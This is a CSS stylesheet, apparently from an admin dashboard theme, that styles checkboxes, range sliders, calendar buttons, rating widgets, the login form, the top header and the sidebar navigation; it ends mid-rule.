.border-checkbox-section .border-checkbox-group .border-checkbox-label:before { content: ""; display: block; border: 2px solid #007bff; width: 20px; height: 20px; position: absolute; left: 0; } .border-checkbox-section .border-checkbox { display: none; } .border-checkbox-section .border-checkbox:disabled ~ .border-checkbox-label { cursor: no-drop; color: #ccc; } @-webkit-keyframes check { 0% { height: 0; width: 0; } 25% { height: 0; width: 6px; } 50% { height: 12px; width: 6px; } } @keyframes check { 0% { height: 0; width: 0; } 25% { height: 0; width: 6px; } 50% { height: 12px; width: 6px; } } .border-checkbox-section .border-checkbox-group-primary .border-checkbox-label:before { border: 2px solid #007bff; } .border-checkbox-section .border-checkbox-group-primary .border-checkbox:checked + .border-checkbox-label:after { border-color: #007bff; } .border-checkbox-section .border-checkbox-group-warning .border-checkbox-label:before { border: 2px solid #fb6340; } .border-checkbox-section .border-checkbox-group-warning .border-checkbox:checked + .border-checkbox-label:after { border-color: #fb6340; } .border-checkbox-section .border-checkbox-group-default .border-checkbox-label:before { border: 2px solid #d6d6d6; } .border-checkbox-section .border-checkbox-group-default .border-checkbox:checked + .border-checkbox-label:after { border-color: #d6d6d6; } .border-checkbox-section .border-checkbox-group-danger .border-checkbox-label:before { border: 2px solid #f5365c; } .border-checkbox-section .border-checkbox-group-danger .border-checkbox:checked + .border-checkbox-label:after { border-color: #f5365c; } .border-checkbox-section .border-checkbox-group-success .border-checkbox-label:before { border: 2px solid #2dce89; } .border-checkbox-section .border-checkbox-group-success .border-checkbox:checked + .border-checkbox-label:after { border-color: #2dce89; } .border-checkbox-section .border-checkbox-group-inverse .border-checkbox-label:before { border: 2px solid #4c5667; } .border-checkbox-section .border-checkbox-group-inverse .border-checkbox:checked + .border-checkbox-label:after { border-color: #4c5667; } .border-checkbox-section .border-checkbox-group-info .border-checkbox-label:before { border: 2px solid #11cdef; } .border-checkbox-section .border-checkbox-group-info .border-checkbox:checked + .border-checkbox-label:after { border-color: #11cdef; } .checkbox-fade, .checkbox-zoom { display: inline-block; margin-right: 15px; } .checkbox-fade label, .checkbox-zoom label { line-height: 20px; } .checkbox-fade label input[type="checkbox"], .checkbox-fade label input[type="radio"], .checkbox-zoom label input[type="checkbox"], .checkbox-zoom label input[type="radio"] { display: none; } .checkbox-fade label input[type="checkbox"]:checked + .cr > .cr-icon, .checkbox-fade label input[type="radio"]:checked + .cr > .cr-icon, .checkbox-zoom label input[type="checkbox"]:checked + .cr > .cr-icon, .checkbox-zoom label input[type="radio"]:checked + .cr > .cr-icon { transform: scale(1) rotateZ(0deg); opacity: 1; } .checkbox-fade label input[type="checkbox"] + .cr > .cr-icon, .checkbox-fade label input[type="radio"] + .cr > .cr-icon, .checkbox-zoom label input[type="checkbox"] + .cr > .cr-icon, .checkbox-zoom label input[type="radio"] + .cr > .cr-icon { transform: scale(3) rotateZ(-20deg); opacity: 0; transition: all 0.3s ease-in; } .checkbox-fade label:after, .checkbox-zoom label:after { content: ''; display: table; clear: both; } .checkbox-fade.fade-in-disable .cr, .checkbox-fade.fade-in-disable label, .checkbox-zoom.fade-in-disable .cr, .checkbox-zoom.fade-in-disable label { color: #ccc; cursor: no-drop; } .checkbox-fade .cr, .checkbox-zoom .cr { border-radius: 0; border: 2px solid #007bff; cursor: pointer; display: inline-block; float: left; height: 20px; margin-right: 1rem; position: relative; width: 20px; } .checkbox-fade .cr .cr-icon, .checkbox-zoom .cr .cr-icon { color: #007bff; font-size: 1em; left: 0; line-height: 0; position: absolute; right: 0; text-align: center; top: 50%; } .checkbox-fade input[type="checkbox"]:checked + .cr, .checkbox-zoom input[type="checkbox"]:checked + .cr { animation: ripple 0.3s linear forwards; } .checkbox-fade label { line-height: 20px; } .checkbox-fade label input[type="checkbox"], .checkbox-fade label input[type="radio"] { display: none; } .checkbox-fade label input[type="checkbox"]:checked + .cr > .cr-icon, .checkbox-fade label input[type="radio"]:checked + .cr > .cr-icon { transform: scale(1) rotateZ(0deg); opacity: 1; } .checkbox-fade label input[type="checkbox"] + .cr > .cr-icon, .checkbox-fade label input[type="radio"] + .cr > .cr-icon { transform: scale(3) rotateZ(-20deg); opacity: 0; transition: all 0.3s ease-in; } .checkbox-zoom label { line-height: 20px; } .checkbox-zoom label input[type="checkbox"], .checkbox-zoom label input[type="radio"] { display: none; } .checkbox-zoom label input[type="checkbox"]:checked + .cr > .cr-icon, .checkbox-zoom label input[type="radio"]:checked + .cr > .cr-icon { transform: scale3d(1, 1, 1) translate3d(0, 0, 0); opacity: 1; } .checkbox-zoom label input[type="checkbox"] + .cr > .cr-icon, .checkbox-zoom label input[type="radio"] + .cr > .cr-icon { transform: scale3d(0.2, 0.2, 0.1) translate3d(0, 0, 0); opacity: 0; transition: all 0.3s ease-in; } .checkbox-fade.fade-in-primary .cr, .checkbox-fade.zoom-primary .cr, .checkbox-zoom.fade-in-primary .cr, .checkbox-zoom.zoom-primary .cr { border: 2px solid #007bff; } .checkbox-fade.fade-in-primary .cr .cr-icon, .checkbox-fade.zoom-primary .cr .cr-icon, .checkbox-zoom.fade-in-primary .cr .cr-icon, .checkbox-zoom.zoom-primary .cr .cr-icon { color: #007bff; } .checkbox-fade.fade-in-warning .cr, .checkbox-fade.zoom-warning .cr, .checkbox-zoom.fade-in-warning .cr, .checkbox-zoom.zoom-warning .cr { border: 2px solid #fb6340; } .checkbox-fade.fade-in-warning .cr .cr-icon, .checkbox-fade.zoom-warning .cr .cr-icon, .checkbox-zoom.fade-in-warning .cr .cr-icon, .checkbox-zoom.zoom-warning .cr .cr-icon { color: #fb6340; } .checkbox-fade.fade-in-default .cr, .checkbox-fade.zoom-default .cr, .checkbox-zoom.fade-in-default .cr, .checkbox-zoom.zoom-default .cr { border: 2px solid #d6d6d6; } .checkbox-fade.fade-in-default .cr .cr-icon, .checkbox-fade.zoom-default .cr .cr-icon, .checkbox-zoom.fade-in-default .cr .cr-icon, .checkbox-zoom.zoom-default .cr .cr-icon { color: #d6d6d6; } .checkbox-fade.fade-in-danger .cr, .checkbox-fade.zoom-danger .cr, .checkbox-zoom.fade-in-danger .cr, .checkbox-zoom.zoom-danger .cr { border: 2px solid #f5365c; } .checkbox-fade.fade-in-danger .cr .cr-icon, .checkbox-fade.zoom-danger .cr .cr-icon, .checkbox-zoom.fade-in-danger .cr .cr-icon, .checkbox-zoom.zoom-danger .cr .cr-icon { color: #f5365c; } .checkbox-fade.fade-in-success .cr, .checkbox-fade.zoom-success .cr, .checkbox-zoom.fade-in-success .cr, .checkbox-zoom.zoom-success .cr { border: 2px solid #2dce89; } .checkbox-fade.fade-in-success .cr .cr-icon, .checkbox-fade.zoom-success .cr .cr-icon, .checkbox-zoom.fade-in-success .cr .cr-icon, .checkbox-zoom.zoom-success .cr .cr-icon { color: #2dce89; } .checkbox-fade.fade-in-inverse .cr, .checkbox-fade.zoom-inverse .cr, .checkbox-zoom.fade-in-inverse .cr, .checkbox-zoom.zoom-inverse .cr { border: 2px solid #4c5667; } .checkbox-fade.fade-in-inverse .cr .cr-icon, .checkbox-fade.zoom-inverse .cr .cr-icon, .checkbox-zoom.fade-in-inverse .cr .cr-icon, .checkbox-zoom.zoom-inverse .cr .cr-icon { color: #4c5667; } .checkbox-fade.fade-in-info .cr, .checkbox-fade.zoom-info .cr, .checkbox-zoom.fade-in-info .cr, .checkbox-zoom.zoom-info .cr { border: 2px solid #11cdef; } .checkbox-fade.fade-in-info .cr .cr-icon, .checkbox-fade.zoom-info .cr .cr-icon, .checkbox-zoom.fade-in-info .cr .cr-icon, .checkbox-zoom.zoom-info .cr .cr-icon { color: #11cdef; } .checkbox-color { display: inline-block; margin-right: 20px; cursor: pointer; } .checkbox-color label { display: inline-block; position: relative; padding-left: 10px; line-height: 20px; } .checkbox-color label::before { content: ""; display: inline-block; position: absolute; top: 0; width: 20px; height: 20px; left: 0; right: 0; text-align: center; margin-left: -20px; border: 1px solid #ccc; border-radius: 0; background-color: #fff; transition: border 0.15s ease-in-out, color 0.15s ease-in-out; } .checkbox-color label::after { display: inline-block; position: absolute; width: 16px; height: 16px; left: -1px; top: 0; margin-left: -17px; padding-left: 3px; padding-top: 1px; font-size: 11px; color: #fff; } .checkbox-color input[type="checkbox"] { opacity: 0; } .checkbox-color input[type="checkbox"]:focus + label::before { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } .checkbox-color input[type="checkbox"]:checked + label::after { font-family: 'FontAwesome'; content: "\f00c"; } .checkbox-color input[type="checkbox"]:checked + label::before { animation: ripple 0.3s linear forwards; } .checkbox-color input[type="checkbox"]:disabled + label { opacity: 0.65; } .checkbox-color input[type="checkbox"]:disabled + label::before { background-color: #eee; cursor: not-allowed; } .checkbox-color.checkbox-circle label::before { border-radius: 50%; } .checkbox-color.checkbox-inline { margin-top: 0; } .checkbox-danger input[type="checkbox"]:checked + label::after, .checkbox-info input[type="checkbox"]:checked + label::after, .checkbox-primary input[type="checkbox"]:checked + label::after, .checkbox-success input[type="checkbox"]:checked + label::after, .checkbox-warning input[type="checkbox"]:checked + label::after { color: #fff; } .checkbox-primary input[type="checkbox"]:checked + label::before { background-color: #2196f3; border-color: #2196f3; } .checkbox-primary input[type="checkbox"]:checked + label::before { background-color: #007bff; } .checkbox-warning input[type="checkbox"]:checked + label::before { background-color: #fb6340; } .checkbox-default input[type="checkbox"]:checked + label::before { background-color: #d6d6d6; } .checkbox-danger input[type="checkbox"]:checked + label::before { background-color: #f5365c; } .checkbox-success input[type="checkbox"]:checked + label::before { background-color: #2dce89; } .checkbox-inverse input[type="checkbox"]:checked + label::before { background-color: #4c5667; } .checkbox-info input[type="checkbox"]:checked + label::before { background-color: #11cdef; } .slider-nav .left-arrow, .slider-nav .right-arrow { font-size: 20px; color: #145388; display: inline-block; vertical-align: middle; margin: 0 15px; } .slider-nav .slider-dot-container { display: inline-block; } .slider-nav .slider-dot-container .owl-dot { width: 6px; height: 6px; border-radius: 10px; color: #00a7e2; background: #7cb9ec; outline: initial !important; border: initial; margin: 0 5px; padding: 0; } .slider-nav .slider-dot-container .owl-dot.active { background: #145388; } .fc .fc-toolbar .fc-button { background: #4a5361; color: #fff; padding: 5px 10px; height: auto; border: none; text-transform: capitalize; text-shadow: none; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .fc .fc-toolbar .fc-button .fc-icon { margin: 0; top: 0; } .fc .fc-toolbar .fc-button .fc-icon:after, .fc .fc-toolbar .fc-button .fc-icon::after { font-family: "iconkit"; font-size: 16px; } .fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow:after, .fc .fc-toolbar .fc-button .fc-icon.fc-icon-left-single-arrow::after { content: "\e843"; } .fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow:after, .fc .fc-toolbar .fc-button .fc-icon.fc-icon-right-single-arrow::after { content: "\e844"; } .fc .fc-toolbar .fc-button.fc-state-active, .fc .fc-toolbar .fc-button.fc-state-down { background: #272d36 !important; } .fc .fc-toolbar h2 { font-size: 22px; font-weight: 600; } .fc .fc-view-container .fc-view table thead tr td.fc-widget-header, .fc .fc-view-container .fc-view table thead tr th.fc-widget-header { color: #4a5361; background: #f3f4f4; border-color: #f3f4f4; padding: 10px 0px; } .fc .fc-view-container .fc-view .fc-day-number { float: left; padding: 10px 0 5px 10px; } .fc .fc-view-container .fc-view .fc-other-month { background: #f3f9ff; } .fc .fc-view-container .fc-view .fc-event-container .fc-event { display: block; padding: 3px 5px; color: #ffffff; font-weight: 600; font-size: 12px; border: none; } .fc-unthemed .fc-content, .fc-unthemed .fc-divider, .fc-unthemed .fc-list-heading, .fc-unthemed .fc-list-view, .fc-unthemed .fc-popover, .fc-unthemed .fc-row, .fc-unthemed tbody, .fc-unthemed td, .fc-unthemed thead { border-color: #f3f4f4; } .color-selector { padding: 0; margin: 0; list-style: none; } .color-selector li { position: relative; display: inline-block; width: 25px; height: 25px; margin: 0 8px 8px 0; background-color: #3e8ef7; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; } .color-selector li input[type=radio] { position: absolute; top: 0; left: 0; z-index: 1; width: inherit; height: inherit; cursor: pointer; border-radius: inherit; opacity: 0; } .color-selector li input[type=radio]:checked + label:after, .color-selector li input[type=radio]:checked + label::after { position: absolute; top: 0px; left: 5px; display: inline-block; margin-top: -3px; font-size: 16px; line-height: 1; content: "\e83f"; color: #fff; } .color-selector li label { position: relative; margin-bottom: .4rem; font-family: "iconkit"; font-style: normal; font-weight: 400; font-variant: normal; text-transform: none; } .color-selector li:last-child { margin-right: 0; } .alert { border: none; } .alert .close { font-size: 18px; padding: 12px 15px; } .jq-icon-info { background-color: #11cdef; color: #ffffff; border: none; } .jq-icon-warning { background-color: #fb6340; color: #ffffff; } .jq-icon-error { background-color: #f5365c; color: #ffffff; } .jq-icon-success { color: #ffffff; background-color: #2dce89; } .jq-toast-single, .jq-toast-single h2 { font-family: 'Nunito Sans', sans-serif; } .br-wrapper { margin: 20px 0 50px; } .br-theme-bars-1to10 .br-widget .br-current-rating { clear: both; padding: 0; font-size: 13px; color: #757575; font-weight: 400; } .br-theme-bars-reversed .br-widget .br-current-rating { clear: both; padding: 0; line-height: 2; font-size: 13px; } .br-theme-bars-movie .br-widget .br-current-rating { color: #757575; font-weight: 400; text-align: left; } .br-theme-bars-horizontal .br-widget .br-current-rating, .br-theme-bars-reversed .br-widget .br-current-rating { color: #757575; font-weight: 400; font-size: 13px; } span.value { display: inline; } .current-rating { position: relative; top: -50px; } .current-rating.hidden { display: none; } .your-rating { position: relative; top: -50px; } .your-rating.hidden { display: none; } .br-theme-bars-1to10 .br-widget a, .br-theme-bars-movie .br-widget a, .br-theme-bars-reversed .br-widget a, .br-theme-bars-horizontal .br-widget a { background-color: #66b0ff; } .br-theme-bars-1to10 .br-widget a.br-active, .br-theme-bars-1to10 .br-widget a.br-selected, .br-theme-bars-movie .br-widget a.br-active, .br-theme-bars-movie .br-widget a.br-selected, .br-theme-bars-reversed .br-widget a.br-active, .br-theme-bars-reversed .br-widget a.br-selected, .br-theme-bars-horizontal .br-widget a.br-active, .br-theme-bars-horizontal .br-widget a.br-selected { background-color: #007bff; } .br-theme-bars-pill .br-widget a { background-color: #66b0ff; color: #007bff; } .br-theme-bars-pill .br-widget a.br-active, .br-theme-bars-pill .br-widget a.br-selected { background-color: #007bff; } .br-theme-fontawesome-stars .br-widget a.br-active:after, .br-theme-fontawesome-stars .br-widget a.br-selected:after { color: #007bff; } .br-theme-css-stars .br-widget a.br-active:after, .br-theme-css-stars .br-widget a.br-selected:after { color: #007bff; } .br-theme-bars-square .br-widget a { border: 2px solid #66b0ff; color: #2990ff; } .br-theme-bars-square .br-widget a.br-active, .br-theme-bars-square .br-widget a.br-selected { border: 2px solid #007bff; color: #007bff; } .br-theme-fontawesome-stars-o .br-widget a.br-selected:after, .br-theme-fontawesome-stars-o .br-widget a:after, .br-theme-fontawesome-stars-o .br-widget a.br-active:after, .br-theme-fontawesome-stars-o .br-widget a.br-fractional:after { color: #007bff; } /*range slider start */ .range-slider { min-height: 200px; display: flex; align-items: center; margin-left: 15px; } .range-slider b { margin-top: -10px; } #RGB { height: 10px; background: gray; } #RC .slider-selection { background: #FF8282; } #RC .slider-handle { background: red; } #GC .slider-selection { background: #428041; } #GC .slider-handle { background: green; } #BC .slider-selection { background: #8283FF; } #BC .slider-handle { border-bottom-color: blue; } #R, #G, #B { width: 300px; } .range-slider-contain { position: absolute; bottom: 15px; } .slider-handle { top: -5px; background-image: linear-gradient(to bottom, #007bff 0%, #007bff 100%); box-shadow: none; } .slider-tick, .slider-track { background-image: linear-gradient(to bottom, #BDC3C7 0%, #BDC3C7 100%); } .slider-handle.custom::before { line-height: 15px; font-size: 35px; color: #007bff; } #slider12a .slider-track-high, #slider12c .slider-track-high { background: green; } #slider12b .slider-track-low, #slider12c .slider-track-low { background: red; } #slider12c .slider-selection { background: yellow; } .slider-selection.tick-slider-selection { background-image: linear-gradient(to bottom, #3395ff 0%, #3395ff 100%); } .slider-tick.in-selection { background-image: linear-gradient(to bottom, #3395ff 0%, #3395ff 100%); } .slider.slider-horizontal .slider-track { height: 2px; } .slider.slider-horizontal .slider-tick, .slider.slider-horizontal .slider-handle { top: -5px; cursor: pointer; } /*range slider end */ .slider.slider-horizontal .slider-track { width: 90%; margin-top: -5px; top: 50%; left: 10px; } .auth-wrapper .lavalite-bg { height: 100vh; position: relative; width: 100%; -webkit-background-size: cover; background-size: cover; background-repeat: no-repeat; } .auth-wrapper .lavalite-bg .lavalite-overlay { position: absolute; width: 100%; height: 100%; top: 0; left: 0; background: linear-gradient(135deg, rgba(46, 52, 81, 0.4) 0%, rgba(52, 40, 104, 0.95) 100%); } .auth-wrapper .authentication-form { font-size: .9rem; width: 70%; display: block; padding: 100px 0; } .auth-wrapper .authentication-form .logo-centered { width: 60px; margin: 0 auto; margin-bottom: 40px; } .auth-wrapper .authentication-form h3 { font-size: 20px; color: #272d36; margin-bottom: 20px; } .auth-wrapper .authentication-form .form-group { position: relative; } .auth-wrapper .authentication-form .form-group .form-control { padding-left: 40px; } .auth-wrapper .authentication-form .form-group .form-control ~ i { position: absolute; top: 10px; left: 15px; } .auth-wrapper .authentication-form .sign-btn { margin-top: 30px; } .auth-wrapper .authentication-form .register { margin-top: 30px; text-align: center; } body { color: #212121; font-size: .8rem; line-height: 1.5; font-weight: 400; font-family: "Nunito Sans", sans-serif; } .dropdown-toggle:after, .dropdown-toggle::after { display: none; } .tooltip { font-family: "Nunito Sans", sans-serif; font-size: 12px; font-weight: 700; } .truncate { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; } .progress-sm { height: .5rem; } .progress-sm .progress-bar { height: .5rem; } .img-thumbnail, .list-thumbnail { border-radius: .1rem; padding: 0; border: initial; } .list-thumbnail { height: auto; max-width: unset; height: 85px; object-fit: cover; width: unset !important; } @media only screen and (max-width: 1023px) { .list-thumbnail.responsive { width: unset; height: 135px; } } .list-thumbnail.small { height: 60px; font-size: 1rem; } .list-thumbnail-letters { width: 85px; height: 85px; background: #090e40; align-items: center; display: flex; justify-content: center; font-size: 1.25rem; color: #fff; } .list-thumbnail-letters.small { width: 60px; height: 60px; font-size: 1rem; } .list-item-heading { font-size: 1rem; } .flex-grow-1 { -webkit-flex-grow: 1; -moz-flex-grow: 1; -ms-flex-grow: 1; flex-grow: 1; } .dropdown-menu { padding: 5px; font-size: 12px; background-color: #ffffff; border-color: transparent; margin: 0; width: 170px; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); } .dropdown-menu .dropdown-item { background-color: #ffffff; padding: 8px 15px; line-height: 14px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .dropdown-menu .dropdown-item .dropdown-icon { display: inline-block; vertical-align: middle; font-size: 16px; margin-right: 5px; vertical-align: -2px; color: #9aa0ac; } .dropdown-menu .dropdown-item:hover, .dropdown-menu .dropdown-item:focus { background-color: #dee2e6 !important; color: #212121; } .dropdown-menu .dropdown-item .badge { width: 15px; height: 15px; border-radius: 50%; text-align: center; padding: 0; line-height: 15px; } .dropdown-menu:after, .dropdown-menu::after { bottom: 100%; left: 10px; border: solid transparent; content: ' '; height: 0; width: 0; position: absolute; pointer-events: none; border-color: rgba(136, 183, 213, 0); border-bottom-color: #ffffff; border-width: 5px; } .dropdown-menu.dropdown-menu-right::after { right: 10px; left: auto; } .wrapper .header-top { background-color: #ffffff; z-index: 1030; position: relative; padding: 15px 0; position: fixed; top: 0; width: 100%; left: 0; padding-left: 240px; -webkit-box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); -moz-box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); } .wrapper .header-top .top-menu .dropdown { margin-left: 10px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu { margin-top: 10px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid { width: 182px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid .dropdown-item { display: inline-block; width: 40px; height: 40px; text-align: center; padding: 0; line-height: 40px; font-size: 18px; color: #5A5A5A; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown { min-width: 300px; padding: 0; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .header { margin: 0; padding: 15px; font-size: 16px; border-bottom: 1px solid #f1f1f1; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media { border-bottom: 1px solid #eef1f2; padding: 10px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media:nth-child(odd) { background: #f8f9fa; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex { -webkit-box-align: start; -ms-flex-align: start; align-items: flex-start; margin-right: 15px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex i { color: #fff; text-align: center; font-size: 15px; line-height: 30px; top: 0; height: 30px; width: 30px; background: #404E67; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex img { height: 30px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body { font-size: 12px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-heading { color: #444; font-weight: 600; letter-spacing: 0; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-content { color: #868e96; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer { text-align: center; padding: 10px 15px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer a { color: #212121; font-size: 16px; } .wrapper .header-top .top-menu .nav-link { width: 30px; height: 30px; padding: 0; text-align: center; line-height: 36px; color: #212121; border: none; position: relative; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; } .wrapper .header-top .top-menu .nav-link:hover, .wrapper .header-top .top-menu .nav-link:focus { background-color: #dee2e6; color: #333; } .wrapper .header-top .top-menu .nav-link i { font-size: 16px; } .wrapper .header-top .top-menu .nav-link .badge { right: -1px; position: absolute; top: -4px; padding: 3px; width: 17px; font-size: 11px; font-weight: 800; color: #fff; border-radius: 100px; -webkit-border-radius: 100px; -moz-border-radius: 100px; } .wrapper .header-top .top-menu .avatar { color: #4c5667; font-weight: 600; width: 30px; height: 30px; line-height: 30px; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; display: inline-block; background: #ced4da no-repeat center/cover; position: relative; vertical-align: bottom; font-size: .875rem; user-select: none; } .wrapper .header-top .top-menu .mobile-nav-toggle { border: none; position: relative; margin-right: 5px; } .wrapper .header-top .top-menu .mobile-nav-toggle span { height: 2px; width: 20px; background-color: #4a5361; display: inline-block; border-radius: 4px; position: absolute; top: 14px; left: 5px; } .wrapper .header-top .top-menu .mobile-nav-toggle span::before, .wrapper .header-top .top-menu .mobile-nav-toggle span::after { content: ""; height: 2px; width: 20px; border-radius: 4px; background-color: #4a5361; display: inline-block; position: absolute; } .wrapper .header-top .top-menu .mobile-nav-toggle span::before { left: 0; top: -6px; } .wrapper .header-top .top-menu .mobile-nav-toggle span::after { left: 0; bottom: -6px; } .wrapper .header-top .top-menu .header-search { padding: 0 10px; position: relative; } .wrapper .header-top .top-menu .header-search .input-group { border-radius: 20px; -webkit-border-radius: 20px; -moz-border-radius: 20px; margin-bottom: 0; } .wrapper .header-top .top-menu .header-search .input-group .input-group-addon { color: #404E67; padding: 2px 10px 2px 0px; font-size: 16px; cursor: pointer; } .wrapper .header-top .top-menu .header-search .input-group .input-group-addon.search-close { padding: 2px 0px 2px 10px; display: none; } .wrapper .header-top .top-menu .header-search .input-group .form-control { padding: 0 10px; min-height: auto; width: 0; border: none; color: #353c4e; background-color: transparent; border-radius: 0px; -webkit-border-radius: 0px; -moz-border-radius: 0px; } .wrapper .header-top .top-menu .header-search.open .input-group { background-color: #e4e4e4; } .wrapper .header-top .top-menu .header-search.open .input-group .input-group-addon.search-close { display: block; } @media only screen and (max-width: 1023px) { .wrapper .header-top { padding-left: 0; } } .wrapper .header-top[header-theme="light"] { background: #ffffff; } .wrapper .header-top[header-theme="dark"] { background: #272d36; } .wrapper .header-top[header-theme="blue"] { background: #007bff; } .wrapper .header-top[header-theme="red"] { background: #f5365c; } .wrapper .header-top[header-theme="orange"] { background: #fb6340; } .wrapper .header-top[header-theme="green"] { background: #2dce89; } .wrapper .header-top[header-theme="purple"] { background: #BF55EC; } .wrapper .header-top[header-theme="blue"] .top-menu .nav-link, .wrapper .header-top[header-theme="red"] .top-menu .nav-link, .wrapper .header-top[header-theme="orange"] .top-menu .nav-link, .wrapper .header-top[header-theme="green"] .top-menu .nav-link, .wrapper .header-top[header-theme="purple"] .top-menu .nav-link, .wrapper .header-top[header-theme="dark"] .top-menu .nav-link { color: #ffffff; background-color: transparent; } .wrapper .header-top[header-theme="blue"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="red"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="orange"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="green"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="purple"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="dark"] .top-menu .header-search .input-group .input-group-addon { color: #ffffff; } .wrapper .page-wrap { position: relative; } .wrapper .page-wrap .app-sidebar { position: fixed; left: 0; top: 0; width: 240px; height: 100vh; background-color: #ffffff; z-index: 1040; -webkit-box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1); -moz-box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1); box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1); -moz-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); -o-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); -webkit-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); -moz-transform: translate3d(0, 0, 0); -o-transform: translate3d(0, 0, 0); -ms-transform: translate3d(0, 0, 0); -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); white-space: nowrap; visibility: visible; } .wrapper .page-wrap .app-sidebar .sidebar-header { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; -webkit-justify-content: space-between; -moz-justify-content: space-between; -ms-justify-content: space-between; justify-content: space-between; -ms-flex-pack: space-between; padding: 13px 15px; height: 60px; } .wrapper .page-wrap .app-sidebar .sidebar-header .header-brand { display: block; font-size: 22px; font-weight: 700; color: #212529; } .wrapper .page-wrap .app-sidebar .sidebar-header .header-brand .logo-img { display: inline-block; width: 30px; } .wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle { border: none; background-color: transparent; color: #ffffff; font-size: 20px; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .wrapper .page-wrap .app-sidebar .sidebar-header .btn-icon { border: none; } .wrapper .page-wrap .app-sidebar .sidebar-header .nav-close { display: none; border: none; background-color: transparent; color: #ffffff; font-size: 20px; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .app-sidebar .sidebar-header .nav-close { display: inline-block; } } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle { display: none; } } .wrapper .page-wrap .app-sidebar .sidebar-content { position: relative; height: -webkit-calc(100vh - 60px); height: -moz-calc(100vh - 60px); height: calc(100vh - 60px); overflow: auto; z-index: 4; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item { position: relative; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a { display: block; overflow: hidden; padding: 15px 5px; margin-left: 15px; margin-right: 15px; color: #545454; position: relative; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a i { font-size: 20px; margin-right: 10px; display: inline-block; vertical-align: -4px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span { font-size: 13px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a .badge { position: absolute; right: 30px; text-align: center; top: 16px; vertical-align: middle; white-space: nowrap; opacity: 1; visibility: visible; border-radius: 4px; font-size: 75%; padding: 4px 7px; margin-right: 5px; font-weight: 800; color: #fff; -webkit-transition: opacity 0.3s linear; transition: opacity 0.3s linear; text-transform: uppercase; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a.disabled { opacity: 0.5; cursor: not-allowed !important; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub a::before { content: "\e844"; font-family: "iconkit"; position: absolute; right: 3px; top: 15px; 